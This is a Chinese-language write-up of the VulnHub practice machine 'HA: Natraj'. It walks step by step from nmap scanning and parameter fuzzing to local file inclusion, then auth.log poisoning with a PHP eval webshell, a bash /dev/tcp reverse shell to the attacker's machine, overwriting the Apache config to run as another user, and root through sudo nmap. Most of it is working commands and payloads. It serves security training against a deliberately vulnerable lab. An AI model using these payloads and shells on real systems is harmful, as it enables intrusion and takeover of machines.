HA: Natraj靶场渗透测试
HA: Natraj
来自 <HA: Natraj ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.239
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.239
访问80端口开放的http服务
4,扫描网站存在哪些子目录
dirsearch -u http://192.168.23.239 -x 403,404
http://192.168.23.239/console/
尝试这个网页存不存在文件包含漏洞 http://192.168.23.239/console/file.php
5,ffuf爆破url参数(FUZZ为需要暴力破解的参数名的占位字符串)
ffuf -u 'http://192.168.23.239/console/file.php?FUZZ=../../../../etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0
成功得到了一个参数file,成功验证存在文件包含漏洞
http://192.168.23.239/console/file.php?file=../../../../etc/passwd
但是不是远程文件包含漏洞
6,能够通过文件包含访问到ssh用户登录日志
http://192.168.23.239/console/file.php?file=../../../../var/log/auth.log
尝试故意登录错误,看日志会不会记录错误登录信息
ssh natraj@192.168.23.239
果然更新了错误登录信息,那么我就可以在ssh登录的时候将用户名替换成一句话木马进行恶意登录,也就是将错误日志写入了木马字符串(此时只能算字符串而不是PHP代码),然后通过本地文件包含漏洞包含/var/log/auth.log,使这个文件包含的网页变成木马网页
<?php @eval($_POST['vul']);?>
http://192.168.23.239/console/file.php?file=/var/log/auth.log
因为这里一句话木马被当成PHP代码执行了,所以不会显示出来
密码vul,使用蚁剑连接成功
在蚁剑当中反弹shell来达到迁移shell的目的
bash -c 'exec bash -i &>/dev/tcp/192.168.23.182/4444 <&1'
与此同时kali需要打开终端接收shell
nc -lvvp 4444
由此成功getshell
7,然后看看操作系统和内核的版本
uname -a
lsb_release -a
发现了一个用户mahakal,尝试横向移动到其他用户
8,针对文件权限继续信息收集,查找可利用的点
find / -user root -perm -4000 -print 2>/dev/null //查找suid
find / -perm -4000 2>dev/null | xargs ls -la //查找suid并详细展示
find / -writable -type d 2>/dev/null //查找当前权限可写的路径
find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null //查找777文件
find / -writable -type f 2>/dev/null | grep -v "/proc/" |xargs ls -al |grep root //查找写权限文件
查看一下这个文件的内容
cat /etc/apache2/apache2.conf
- User ${APACHE_RUN_USER}
表示 Apache 启动后,其子进程将以 APACHE_RUN_USER 环境变量所指定的用户身份运行。 - Group ${APACHE_RUN_GROUP}
表示 Apache 子进程运行时会加入的用户组。
所以修改这两个就能够使反弹shell的用户变成其他高权限的用户,例如mahakal。修改命令如下:
export APACHE_RUN_USER=mahakal
export APACHE_RUN_GROUP=mahakal
9,需要换一种修改方法,那就是先复制靶场的/etc/apache2/apache2.conf文件到攻击机,然后修改对应内容,然后再把修改之后的文件上传到靶场,然后覆盖原来的/etc/apache2/apache2.conf
vim apache2.conf
python -m http.server
cd /tmp
wget http://192.168.23.182:8000/apache2.conf
cp /tmp/apache2.conf /etc/apache2/apache2.conf
修改成功重启靶机再次尝试使用蚁剑执行命令反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.23.182/4444 <&1'
reboot
nc -lvvp 4444
横向移动成功
10,查看如何提权,先看sudo和suid提权
nmap允许使用sudo命令以root用户执行
成功提权成为root用户,而后获得flag